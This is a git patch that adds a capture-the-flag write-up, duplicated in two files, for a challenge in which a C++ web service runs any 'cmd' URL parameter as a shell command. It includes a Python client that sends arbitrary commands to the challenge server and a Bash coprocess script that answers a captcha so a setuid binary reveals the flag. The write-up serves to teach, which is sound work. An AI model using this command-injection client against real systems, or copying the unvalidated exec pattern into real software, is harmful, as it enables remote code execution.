From b9b08f0b7d13ffc2a6cea7a55f38b14d010e8473 Mon Sep 17 00:00:00 2001
From: Philipp Nowak <git@lit.plus>
Date: Sun, 19 Jan 2020 16:36:37 +0100
Subject: [PATCH] Add werite-up for OTW day-24: Got shell?

---
 writeups/litplus/otw19.md          | 221 ++++++++++++++++++++++++++++-
 writeups/litplus/otw19/24-proc.sh  |  13 ++
 writeups/litplus/otw19/24-shell.py |  32 +++++
 writeups/litplus/otw19/Adv-24.md   | 221 ++++++++++++++++++++++++++++-
 4 files changed, 485 insertions(+), 2 deletions(-)
 create mode 100755 writeups/litplus/otw19/24-proc.sh
 create mode 100644 writeups/litplus/otw19/24-shell.py

diff --git a/writeups/litplus/otw19.md b/writeups/litplus/otw19.md
index f26d968..b444b63 100644
--- a/writeups/litplus/otw19.md
+++ b/writeups/litplus/otw19.md
@@ -460,7 +460,226 @@ Time spent for this challenge: 2.25 hours
 
  * December 24: 2.25 hours (13:30-15:45)
 
-Writeup TBD
+### Overview
+
+```
+Got shell?  web, linux
+Points: 1337
+
+Can you get a shell? NOTE: The firewall does not allow outgoing traffic & There are no additional paths on the website.
+Service: http://3.93.128.89:1224
+Author: semchapeu
+```
+
+Accessing the website shows some C++ code:
+
+```
+#include "crow_all.h"
+#include <cstdio>
+#include <iostream>
+#include <memory>
+#include <stdexcept>
+#include <string>
+#include <array>
+#include <sstream>
+
+std::string exec(const char* cmd) {
+    std::array<char, 128> buffer;
+    std::string result;
+    std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd, "r"), pclose);
+    if (!pipe) {
+        return std::string("Error");
+    }
+    while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) {
+        result += buffer.data();
+    }
+    return result;
+}
+
+int main() {
+    crow::SimpleApp app;
+    app.loglevel(crow::LogLevel::Warning);
+
+    CROW_ROUTE(app, "/")
+    ([](const crow::request& req) {
+        std::ostringstream os;
+        if(req.url_params.get("cmd") != nullptr){
+            os << exec(req.url_params.get("cmd"));
+        } else {
+            os << exec("cat ./source.html"); 
+        }
+        return crow::response{os.str()};
+    });
+
+    app.port(1224).multithreaded().run();
+}
+```
+
+From this, we see that the app uses the [CROW](https://github.com/ipkn/crow) framework for web handling, which is inspired by Python's Flask. From the code, we see that, normally, the website prints the source code. However, if the `cmd` query parameter is provided, it runs this command directly without validation.
+
+### Exploitation
+Passing `ls -hla` reveals:
+
+```
+total 44K
+drwxr-xr-x 1 root root     4.0K Dec 24 11:56 .
+drwxr-xr-x 1 root root     4.0K Dec 24 11:56 ..
+----r----- 1 root gotshell   38 Dec 24 08:32 flag
+------s--x 1 root gotshell  18K Dec  5 17:26 flag_reader
+-rw-rw-r-- 1 root root      11K Dec 24 08:32 source.html
+```
+
+So, the `flag_reader` binary can access the flag, but we cannot do that directly.
+
+To make command execution easier, I developed a small Python script:
+
+```
+#!/usr/bin/env python3
+import sys
+import requests
+
+while True:
+    print(" > ", end="", flush=True)
+    command=input()
+    print(" ... ", end="\r", flush=True)
+    payload = { 'cmd': command }
+    req = requests.get("http://3.93.128.89:1224/", params=payload, timeout=2)
+    print(req.text)
+```
+
+Some information:
+
+```
+ > id
+uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
+ > ./flag_reader
+Got shell?
+1411293829 + 1732747376 = Incorrect captcha :(
+ > uname -a
+Linux d2474e4d718f 4.15.0-1051-aws #53-Ubuntu SMP Wed Sep 18 13:35:53 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
+```
+
+The challenge here is that `flag_reader` generates the captcha dynamically and only prints the flag if the response is correct -- However, we do not have access to STDIN. Python is not present on the host. `@stiefel40k` tried to write a Perl script, while I took a go at a Bash script to achieve the same.
+
+I started by using [awk](https://www.gnu.org/software/gawk/manual/html_node/Arithmetic-Ops.html) to do the arithmetic operation, thinking that this would be easy. Quickly, I had a payload:
+
+```
+./flag_reader | tail -n 1 | awk '{ sum = $1 + $3 ; \n print sum }'
+```
+
+However, this just prints to STDOUT, we need to pass it to a program earlier in the pipe.
+
+In the meantime, `@stiefel40k` had developed a local simulation of the flag reader:
+
+```
+#!/bin/bash
+
+R1=$(echo $RANDOM)
+R2=$(echo $RANDOM)
+
+echo "Got a shell?"
+echo -n "$R1 + $R2 = "
+read VAL
+SUM=$(($R1+$R2))
+
+if [[ $SUM -ne $VAL ]]
+then
+  echo "Wrong"
+  exit 1
+else
+  echo "Yes"
+fi
+```
+
+To be able to dynamically write to the flag reader depending on its output, I used [a little-known feature of Bash](https://www.gnu.org/software/bash/manual/html_node/Coprocesses.html), coprocesses. These StackOverflow questions helped with this: [1](https://stackoverflow.com/questions/5129276/how-to-redirect-stdout-of-2nd-process-back-to-stdin-of-1st-process), [2](https://stackoverflow.com/questions/7689100/bash-coproc-unexpected-behavior).
+
+```
+#!/bin/bash
+coproc p1 {
+  ./flag_reader
+}
+
+#awk '{ sum = $1 + $3 ;
+#  print sum }' <&${p1[0]} >&${p1[1]}
+read line <&${p1[0]}
+    echo " -> $line <-"
+
+read -d "=" captcha <&${p1[0]}
+solution=$(echo $captcha | awk '{ sum = $1 + $3 ;
+  print sum }')
+echo "hey solute $solution"
+echo "$solution" >&${p1[1]}
+
+echo "hi"
+tee <&${p1[0]}
+```
+
+This worked locally, but not on the server. I wasn't sure why, but the server had some difficulties, so I added retry logic to the exploit script. Also, I saved the script to `proc.sh` to make it easier to edit and handle:
+
+```
+import sys
+import requests
+import requests.exceptions
+
+script=""
+
+while True:
+    print(" > ", end="", flush=True)
+    command=input()
+    worked=False
+    while not worked:
+        try:
+            if command == "EXPL":
+                with open("proc.sh", "r") as file:
+                    script = "".join(file.readlines())
+                command=script
+            escaped = command.replace("\n", " ").replace('"', '\\"').replace("$", "\\$")
+            full = 'bash -c "'+escaped+'"'#+' ; echo \\"result -> $?\\""'
+            payload = { 'cmd': full}
+            print(full)
+            print(" ... ", end="\r", flush=True)
+            req = requests.get("http://3.93.128.89:1224/", params=payload, timeout=20)
+            print("     ", end="\r", flush=True)
+            print(req.text)
+            print("(done)")
+            worked=True
+        except requests.exceptions.ReadTimeout:
+            print("(timed out)")
+        except requests.exceptions.ConnectionError:
+            print("(connect error)")
+```
+
+What this does is wrap the command in `bash -c`, which is necessary because coprocesses are a Bash-specific feature. It also does some escaping on the script, because it needs to be passed quoted to the shell. Doing this in the file directly was not feasible because I needed to run it locally as well.
+
+Ultimately, the reason why it did not work was that the co-process syntax I used was not supported on the version of Bash the remote used. (Yay Ubuntu! -- Note the semicolon after the block) Also, `awk` by default outputs large numbers in scientific notation, which the flag reader did not accept:
+
+```
+HELLO
+ -> Got shell? <-
+hey solute 3.43413e+09
+hi
+ Incorrect captcha :(
+```
+
+The final Bash script is as follows (`25-proc.sh`): (missing shebang is important because it is combined into a single line)
+
+```
+echo "HELLO";
+coproc p1 {
+./flag_reader;
+};
+read line <&${p1[0]};
+echo " -> $line <-";
+read -d "=" captcha <&${p1[0]};
+solution=$(echo $captcha | timeout 1s awk '{ sum = $1 + $3 ;
+  printf "%.0f", sum }');
+echo "hey solute $solution";
+echo "$solution" >&${p1[1]};
+echo "hi";
+cat <&${p1[0]}
+```
+
+Combined with the Python script from above (`25-shell.py`), this yielded the flag: `AOTW{d1d_y0u_g3t_4n_1n73r4c71v3_5h3ll}`.
 
 ---
 
diff --git a/writeups/litplus/otw19/24-proc.sh b/writeups/litplus/otw19/24-proc.sh
new file mode 100755
index 0000000..83ded77
--- /dev/null
+++ b/writeups/litplus/otw19/24-proc.sh
@@ -0,0 +1,13 @@
+echo "HELLO";
+coproc p1 {
+./flag_reader;
+};
+read line <&${p1[0]};
+echo " -> $line <-";
+read -d "=" captcha <&${p1[0]};
+solution=$(echo $captcha | timeout 1s awk '{ sum = $1 + $3 ;
+  printf "%.0f", sum }');
+echo "hey solute $solution";
+echo "$solution" >&${p1[1]};
+echo "hi";
+cat <&${p1[0]}
diff --git a/writeups/litplus/otw19/24-shell.py b/writeups/litplus/otw19/24-shell.py
new file mode 100644
index 0000000..92cf9ae
--- /dev/null
+++ b/writeups/litplus/otw19/24-shell.py
@@ -0,0 +1,32 @@
+#!/usr/bin/env python3
+import sys
+import requests
+import requests.exceptions
+
+script=""
+
+while True:
+    print(" > ", end="", flush=True)
+    command=input()
+    worked=False
+    while not worked:
+        try:
+            if command == "EXPL":
+                with open("24-proc.sh", "r") as file:
+                    script = "".join(file.readlines())
+                command=script
+            escaped = command.replace("\n", " ").replace('"', '\\"').replace("$", "\\$")
+            full = 'bash -c "'+escaped+'" 2>&1'#+' ; echo \\"result -> $?\\""'
+            payload = { 'cmd': full}
+            print(full)
+            print(" ... ", end="\r", flush=True)
+            req = requests.get("http://3.93.128.89:1224/", params=payload, timeout=20)
+            print("     ", end="\r", flush=True)
+            print(req.text)
+            print("(done)")
+            worked=True
+        except requests.exceptions.ReadTimeout:
+            print("(timed out)")
+        except requests.exceptions.ConnectionError:
+            print("(connect error)")
+
diff --git a/writeups/litplus/otw19/Adv-24.md b/writeups/litplus/otw19/Adv-24.md
index 99bc24d..cf28a88 100644
--- a/writeups/litplus/otw19/Adv-24.md
+++ b/writeups/litplus/otw19/Adv-24.md
@@ -6,7 +6,226 @@ Time spent for this challenge: 2.25 hours
 
  * December 24: 2.25 hours (13:30-15:45)
 
-Writeup TBD
+### Overview
+
+```
+Got shell?  web, linux
+Points: 1337
+
+Can you get a shell? NOTE: The firewall does not allow outgoing traffic & There are no additional paths on the website.
+Service: http://3.93.128.89:1224
+Author: semchapeu
+```
+
+Accessing the website shows some C++ code:
+
+```
+#include "crow_all.h"
+#include <cstdio>
+#include <iostream>
+#include <memory>
+#include <stdexcept>
+#include <string>
+#include <array>
+#include <sstream>
+
+std::string exec(const char* cmd) {
+    std::array<char, 128> buffer;
+    std::string result;
+    std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd, "r"), pclose);
+    if (!pipe) {
+        return std::string("Error");
+    }
+    while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) {
+        result += buffer.data();
+    }
+    return result;
+}
+
+int main() {
+    crow::SimpleApp app;
+    app.loglevel(crow::LogLevel::Warning);
+
+    CROW_ROUTE(app, "/")
+    ([](const crow::request& req) {
+        std::ostringstream os;
+        if(req.url_params.get("cmd") != nullptr){
+            os << exec(req.url_params.get("cmd"));
+        } else {
+            os << exec("cat ./source.html"); 
+        }
+        return crow::response{os.str()};
+    });
+
+    app.port(1224).multithreaded().run();
+}
+```
+
+From this, we see that the app uses the [CROW](https://github.com/ipkn/crow) framework for web handling, which is inspired by Python's Flask. From the code, we see that, normally, the website prints the source code. However, if the `cmd` query parameter is provided, it runs this command directly without validation.
+
+### Exploitation
+Passing `ls -hla` reveals:
+
+```
+total 44K
+drwxr-xr-x 1 root root     4.0K Dec 24 11:56 .
+drwxr-xr-x 1 root root     4.0K Dec 24 11:56 ..
+----r----- 1 root gotshell   38 Dec 24 08:32 flag
+------s--x 1 root gotshell  18K Dec  5 17:26 flag_reader
+-rw-rw-r-- 1 root root      11K Dec 24 08:32 source.html
+```
+
+So, the `flag_reader` binary can access the flag, but we cannot do that directly.
+
+To make command execution easier, I developed a small Python script:
+
+```
+#!/usr/bin/env python3
+import sys
+import requests
+
+while True:
+    print(" > ", end="", flush=True)
+    command=input()
+    print(" ... ", end="\r", flush=True)
+    payload = { 'cmd': command }
+    req = requests.get("http://3.93.128.89:1224/", params=payload, timeout=2)
+    print(req.text)
+```
+
+Some information:
+
+```
+ > id
+uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
+ > ./flag_reader
+Got shell?
+1411293829 + 1732747376 = Incorrect captcha :(
+ > uname -a
+Linux d2474e4d718f 4.15.0-1051-aws #53-Ubuntu SMP Wed Sep 18 13:35:53 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
+```
+
+The challenge here is that `flag_reader` generates the captcha dynamically and only prints the flag if the response is correct -- However, we do not have access to STDIN. Python is not present on the host. `@stiefel40k` tried to write a Perl script, while I took a go at a Bash script to achieve the same.
+
+I started by using [awk](https://www.gnu.org/software/gawk/manual/html_node/Arithmetic-Ops.html) to do the arithmetic operation, thinking that this would be easy. Quickly, I had a payload:
+
+```
+./flag_reader | tail -n 1 | awk '{ sum = $1 + $3 ; \n print sum }'
+```
+
+However, this just prints to STDOUT, we need to pass it to a program earlier in the pipe.
+
+In the meantime, `@stiefel40k` had developed a local simulation of the flag reader:
+
+```
+#!/bin/bash
+
+R1=$(echo $RANDOM)
+R2=$(echo $RANDOM)
+
+echo "Got a shell?"
+echo -n "$R1 + $R2 = "
+read VAL
+SUM=$(($R1+$R2))
+
+if [[ $SUM -ne $VAL ]]
+then
+  echo "Wrong"
+  exit 1
+else
+  echo "Yes"
+fi
+```
+
+To be able to dynamically write to the flag reader depending on its output, I used [a little-known feature of Bash](https://www.gnu.org/software/bash/manual/html_node/Coprocesses.html), coprocesses. These StackOverflow questions helped with this: [1](https://stackoverflow.com/questions/5129276/how-to-redirect-stdout-of-2nd-process-back-to-stdin-of-1st-process), [2](https://stackoverflow.com/questions/7689100/bash-coproc-unexpected-behavior).
+
+```
+#!/bin/bash
+coproc p1 {
+  ./flag_reader
+}
+
+#awk '{ sum = $1 + $3 ;
+#  print sum }' <&${p1[0]} >&${p1[1]}
+read line <&${p1[0]}
+    echo " -> $line <-"
+
+read -d "=" captcha <&${p1[0]}
+solution=$(echo $captcha | awk '{ sum = $1 + $3 ;
+  print sum }')
+echo "hey solute $solution"
+echo "$solution" >&${p1[1]}
+
+echo "hi"
+tee <&${p1[0]}
+```
+
+This worked locally, but not on the server. I wasn't sure why, but the server had some difficulties, so I added retry logic to the exploit script. Also, I saved the script to `proc.sh` to make it easier to edit and handle:
+
+```
+import sys
+import requests
+import requests.exceptions
+
+script=""
+
+while True:
+    print(" > ", end="", flush=True)
+    command=input()
+    worked=False
+    while not worked:
+        try:
+            if command == "EXPL":
+                with open("proc.sh", "r") as file:
+                    script = "".join(file.readlines())
+                command=script
+            escaped = command.replace("\n", " ").replace('"', '\\"').replace("$", "\\$")
+            full = 'bash -c "'+escaped+'"'#+' ; echo \\"result -> $?\\""'
+            payload = { 'cmd': full}
+            print(full)
+            print(" ... ", end="\r", flush=True)
+            req = requests.get("http://3.93.128.89:1224/", params=payload, timeout=20)
+            print("     ", end="\r", flush=True)
+            print(req.text)
+            print("(done)")
+            worked=True
+        except requests.exceptions.ReadTimeout:
+            print("(timed out)")
+        except requests.exceptions.ConnectionError:
+            print("(connect error)")
+```
+
+What this does is wrap the command in `bash -c`, which is necessary because coprocesses are a Bash-specific feature. It also does some escaping on the script, because it needs to be passed quoted to the shell. Doing this in the file directly was not feasible because I needed to run it locally as well.
+
+Ultimately, the reason why it did not work was that the co-process syntax I used was not supported on the version of Bash the remote used. (Yay Ubuntu! -- Note the semicolon after the block) Also, `awk` by default outputs large numbers in scientific notation, which the flag reader did not accept:
+
+```
+HELLO
+ -> Got shell? <-
+hey solute 3.43413e+09
+hi
+ Incorrect captcha :(
+```
+
+The final Bash script is as follows (`25-proc.sh`): (missing shebang is important because it is combined into a single line)
+
+```
+echo "HELLO";
+coproc p1 {
+./flag_reader;
+};
+read line <&${p1[0]};
+echo " -> $line <-";
+read -d "=" captcha <&${p1[0]};
+solution=$(echo $captcha | timeout 1s awk '{ sum = $1 + $3 ;
+  printf "%.0f", sum }');
+echo "hey solute $solution";
+echo "$solution" >&${p1[1]};
+echo "hi";
+cat <&${p1[0]}
+```
+
+Combined with the Python script from above (`25-shell.py`), this yielded the flag: `AOTW{d1d_y0u_g3t_4n_1n73r4c71v3_5h3ll}`.
 
 ---
 
-- 
2.43.0